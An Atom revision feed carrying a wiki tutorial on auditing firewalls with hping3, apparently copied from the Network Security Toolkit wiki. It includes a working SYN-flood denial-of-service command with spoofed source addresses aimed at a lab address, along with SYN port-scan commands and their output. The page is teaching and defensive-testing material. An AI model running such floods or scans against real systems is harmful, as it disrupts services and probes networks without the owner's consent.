<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=Hping3%3A_security_audit_firewall</id>
	<title>Hping3: security audit firewall - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=Hping3%3A_security_audit_firewall"/>
	<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Hping3:_security_audit_firewall&amp;action=history"/>
	<updated>2026-04-20T10:59:55Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Hping3:_security_audit_firewall&amp;diff=51190&amp;oldid=prev</id>
		<title>Onnowpurbo: Created page with &quot;Sumber: http://wiki.networksecuritytoolkit.org/index.php/HowTo_Perform_A_Security_Audit_With_hping3_(DoS)    __TOC__ = Overview = This page discusses the use of &#039;&#039;&#039;[http://www...&quot;</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Hping3:_security_audit_firewall&amp;diff=51190&amp;oldid=prev"/>
		<updated>2018-05-29T03:51:53Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Sumber: http://wiki.networksecuritytoolkit.org/index.php/HowTo_Perform_A_Security_Audit_With_hping3_(DoS)    __TOC__ = Overview = This page discusses the use of &amp;#039;&amp;#039;&amp;#039;[http://www...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Sumber: http://wiki.networksecuritytoolkit.org/index.php/HowTo_Perform_A_Security_Audit_With_hping3_(DoS)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__TOC__&lt;br /&gt;
= Overview =&lt;br /&gt;
This page discusses the use of &amp;#039;&amp;#039;&amp;#039;[http://www.hping.org/ hping3]&amp;#039;&amp;#039;&amp;#039; to perform a &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Denial-of-service_attack Denial-of-Service (DoS)]&amp;#039;&amp;#039;&amp;#039; attack as part of a security audit. Information on this page was derived from the &amp;#039;&amp;#039;&amp;#039;[https://www.blackmoreops.com/ blackMORE Ops]&amp;#039;&amp;#039;&amp;#039; article: &amp;quot;&amp;#039;&amp;#039;&amp;#039;[https://www.blackmoreops.com/2015/04/21/denial-of-service-attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/ Denial-of-service Attack – DoS using hping3 with spoofed IP in Kali Linux]&amp;#039;&amp;#039;&amp;#039;&amp;quot;. hping3 is install on &amp;#039;&amp;#039;&amp;#039;[http://www.networksecuritytoolkit.org Network Security Toolkit (NST)]&amp;#039;&amp;#039;&amp;#039; like many other security auditing and penetration tools.&lt;br /&gt;
&lt;br /&gt;
= hping3 Explained =&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;hping3&amp;#039;&amp;#039;&amp;#039; is a free packet generator and analyzer for the &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Internet_protocol_suite TCP/IP]&amp;#039;&amp;#039;&amp;#039; protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Idle_scan Idle Scan]&amp;#039;&amp;#039;&amp;#039; scanning technique now implemented in the &amp;#039;&amp;#039;&amp;#039;[https://nmap.org/ Nmap]&amp;#039;&amp;#039;&amp;#039; port scanner. hping3, is scriptable using the &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Tcl Tcl]&amp;#039;&amp;#039;&amp;#039; language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in a very short time.&lt;br /&gt;
&lt;br /&gt;
Like most tools used in computer security, hping3 is useful to professional security experts, but there are a lot of applications related to network testing and system administration.&lt;br /&gt;
&lt;br /&gt;
== hping3 Intended Use Cases ==&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Traceroute Traceroute]&amp;#039;&amp;#039;&amp;#039; / &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Ping_(networking_utility) ping]&amp;#039;&amp;#039;&amp;#039; / probe hosts behind a &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Firewall_(computing) firewall]&amp;#039;&amp;#039;&amp;#039; that blocks attempts using the standard utilities.&lt;br /&gt;
* Advanced port scanning.&lt;br /&gt;
* Perform the idle scan (now implemented in nmap with an easy user interface).&lt;br /&gt;
* Test firewall rule sets.&lt;br /&gt;
* Test &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Intrusion_detection_system IDS]&amp;#039;&amp;#039;&amp;#039; systems.&lt;br /&gt;
* Exploit known vulnerabilities of TCP/IP stacks.&lt;br /&gt;
* Networking research.&lt;br /&gt;
* Learn and explore TCP/IP.&lt;br /&gt;
* Write real applications related to TCP/IP testing and security.&lt;br /&gt;
* Automated firewall tests.&lt;br /&gt;
* Proof of concept exploits.&lt;br /&gt;
* Networking and security research when there is the need to emulate complex TCP/IP behavior.&lt;br /&gt;
* Prototype IDS systems.&lt;br /&gt;
* Simple to use networking utilities with &amp;#039;&amp;#039;&amp;#039;[https://en.wikipedia.org/wiki/Tk_(software) Tk]&amp;#039;&amp;#039;&amp;#039; interface.&lt;br /&gt;
* Remote OS fingerprinting.&lt;br /&gt;
&lt;br /&gt;
= DoS Using hping3 =&lt;br /&gt;
This use case will demonstrate a DoS TCP/IP SYN (Sync) attack using hping3. The intended target: IPv4 Address: &amp;#039;&amp;#039;&amp;#039;10.222.222.15&amp;#039;&amp;#039;&amp;#039; will be flooded with TCP/IP SYN packets. One can the observed the behavior of the target system during the DoS attack for stability, responsiveness and performance. The following parameters are explained for this use case:&lt;br /&gt;
{|&lt;br /&gt;
| -I lan0&lt;br /&gt;
|Force packets to use this network interface device: &amp;quot;&amp;#039;&amp;#039;&amp;#039;lan0&amp;#039;&amp;#039;&amp;#039;&amp;quot;  only.&lt;br /&gt;
|-&lt;br /&gt;
| -c 1000000&lt;br /&gt;
|Stop after sending (and receiving) count number of response packets: &amp;quot;&amp;#039;&amp;#039;&amp;#039;1000000&amp;#039;&amp;#039;&amp;#039;&amp;quot;.&lt;br /&gt;
|-&lt;br /&gt;
| -d 120&lt;br /&gt;
|Set the packet body size: &amp;quot;&amp;#039;&amp;#039;&amp;#039;120 octets&amp;#039;&amp;#039;&amp;#039;&amp;quot;.&lt;br /&gt;
|-&lt;br /&gt;
| -S&lt;br /&gt;
|Set the TCP/IP SYN flag thus sending out &amp;#039;&amp;#039;&amp;#039;SYN&amp;#039;&amp;#039;&amp;#039; packets.&lt;br /&gt;
|-&lt;br /&gt;
| -w 64&lt;br /&gt;
|Set the TCP/IP window size: &amp;quot;&amp;#039;&amp;#039;&amp;#039;64 octets&amp;#039;&amp;#039;&amp;#039;&amp;quot;.&lt;br /&gt;
|-&lt;br /&gt;
| -p 80&lt;br /&gt;
|Set the TCP/IP destination port: &amp;quot;&amp;#039;&amp;#039;&amp;#039;80&amp;#039;&amp;#039;&amp;#039;&amp;quot;.&lt;br /&gt;
|-&lt;br /&gt;
| --flood&lt;br /&gt;
|Send out packets as fast as possible.&lt;br /&gt;
|-&lt;br /&gt;
| --rand-source&lt;br /&gt;
|Send out random source IPv4 Addresses.&lt;br /&gt;
|-&lt;br /&gt;
|10.222.222.15&lt;br /&gt;
|Target host system.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;screen&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;userInput&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;prompt&amp;quot;&amp;gt;[root@probe ~]# &amp;lt;/span&amp;gt;/usr/sbin/hping3 -I lan0 -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.222.222.15;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre class=&amp;quot;computerOutput&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
HPING 10.222.222.15 (lan0 10.222.222.15): S set, 40 headers + 120 data bytes&lt;br /&gt;
hping in flood mode, no replies will be shown&lt;br /&gt;
^C&lt;br /&gt;
--- 10.222.222.15 hping statistic ---&lt;br /&gt;
2031701 packets transmitted, 0 packets received, 100% packet loss&lt;br /&gt;
round-trip min/avg/max = 0.0/0.0/0.0 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;userInput&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;prompt&amp;quot;&amp;gt;[root@probe ~]# &amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
= Host SYN Scan Using Using A Single Port =&lt;br /&gt;
This use case will demonstrate a TCP/IP SYN scan using hping3. The intended target: IPv4 Address: &amp;#039;&amp;#039;&amp;#039;10.222.222.15&amp;#039;&amp;#039;&amp;#039; will be scanned using &amp;quot;&amp;#039;&amp;#039;&amp;#039;10&amp;#039;&amp;#039;&amp;#039;&amp;quot; sequential SYN packets:&lt;br /&gt;
&amp;lt;div class=&amp;quot;screen&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;userInput&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;prompt&amp;quot;&amp;gt;[root@probe ~]# &amp;lt;/span&amp;gt;/usr/sbin/hping3 -I lan0 -c 10 -d 120 -S -w 64 -p 80 10.222.222.15;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre class=&amp;quot;computerOutput&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
HPING 10.222.222.15 (lan0 10.222.222.15): S set, 40 headers + 120 data bytes&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=29200 rtt=0.3 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=29200 rtt=0.2 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=29200 rtt=0.3 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=3 win=29200 rtt=0.2 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=4 win=29200 rtt=0.2 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=5 win=29200 rtt=0.2 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=6 win=29200 rtt=0.2 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=7 win=29200 rtt=0.2 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=8 win=29200 rtt=0.2 ms&lt;br /&gt;
len=46 ip=10.222.222.15 ttl=64 DF id=0 sport=80 flags=SA seq=9 win=29200 rtt=0.3 ms&lt;br /&gt;
&lt;br /&gt;
--- 10.222.222.15 hping statistic ---&lt;br /&gt;
10 packets transmitted, 10 packets received, 0% packet loss&lt;br /&gt;
round-trip min/avg/max = 0.2/0.2/0.3 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;userInput&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;prompt&amp;quot;&amp;gt;[root@probe ~]# &amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
= Host SYN Scan Using Using A Port  Range=&lt;br /&gt;
This use case will demonstrate a TCP/IP SYN scan using hping3 with a port range. The intended target: IPv4 Address: &amp;#039;&amp;#039;&amp;#039;10.222.222.107&amp;#039;&amp;#039;&amp;#039; will be scanned sending out sequential SYN packets using ports 9940 through 9950. This target system is an NST host. One can see that the NST WUI service responding on port: &amp;quot;&amp;#039;&amp;#039;&amp;#039;9943&amp;#039;&amp;#039;&amp;#039;&amp;quot; with TCP/IP flags &amp;#039;&amp;#039;&amp;#039;SYN&amp;#039;&amp;#039;&amp;#039; and &amp;#039;&amp;#039;&amp;#039;ACK (Acknowledgment)&amp;#039;&amp;#039;&amp;#039; set. The other received packets responded with the TCP/IP flags &amp;#039;&amp;#039;&amp;#039;RST (Reset the Connection)&amp;#039;&amp;#039;&amp;#039; and &amp;#039;&amp;#039;&amp;#039;ACK&amp;#039;&amp;#039;&amp;#039; since no service is listening on these ports. &lt;br /&gt;
&amp;lt;div class=&amp;quot;screen&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;userInput&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;prompt&amp;quot;&amp;gt;[root@probe ~]# &amp;lt;/span&amp;gt;/usr/sbin/hping3 -I lan0 -f -V --scan 9940-9950 -S 10.222.222.107;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;pre class=&amp;quot;computerOutput&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
using lan0, addr: 10.222.222.10, MTU: 1500&lt;br /&gt;
Scanning 10.222.222.107 (10.222.222.107), port 9940-9950&lt;br /&gt;
11 ports to scan, use -V to see all the replies&lt;br /&gt;
+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;
|port| serv name |  flags  |ttl| id  | win | len |&lt;br /&gt;
+----+-----------+---------+---+-----+-----+-----+&lt;br /&gt;
 9940            : ..R.A...  64 61660     0    46&lt;br /&gt;
 9941            : ..R.A...  64 61916     0    46&lt;br /&gt;
 9942            : ..R.A...  64 62172     0    46&lt;br /&gt;
 9943            : .S..A...  64     0 29200    46&lt;br /&gt;
 9944            : ..R.A...  64 62428     0    46&lt;br /&gt;
 9945            : ..R.A...  64 62684     0    46&lt;br /&gt;
 9946            : ..R.A...  64 62940     0    46&lt;br /&gt;
 9947            : ..R.A...  64 63196     0    46&lt;br /&gt;
 9948            : ..R.A...  64 63452     0    46&lt;br /&gt;
 9949            : ..R.A...  64 63708     0    46&lt;br /&gt;
 9950 apc-9950   : ..R.A...  64 63964     0    46&lt;br /&gt;
All replies received. Done.&lt;br /&gt;
Not responding ports: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;userInput&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;prompt&amp;quot;&amp;gt;[root@probe ~]# &amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
= DoS SYN Flood Protection =&lt;br /&gt;
Today&amp;#039;s firewalls and most Linux kernels have built-in SYN attack flood protection. This HowTo was meant for research and learning purpose. The following is an article on &amp;#039;&amp;#039;&amp;#039;[https://www.ndchost.com/wiki/server-administration/hardening-tcpip-syn-flood Hardening your TCP/IP Stack Against SYN Floods]&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Referensi==&lt;br /&gt;
&lt;br /&gt;
* http://wiki.networksecuritytoolkit.org/index.php/HowTo_Perform_A_Security_Audit_With_hping3_(DoS)&lt;/div&gt;</summary>
		<author><name>Onnowpurbo</name></author>
	</entry>
</feed>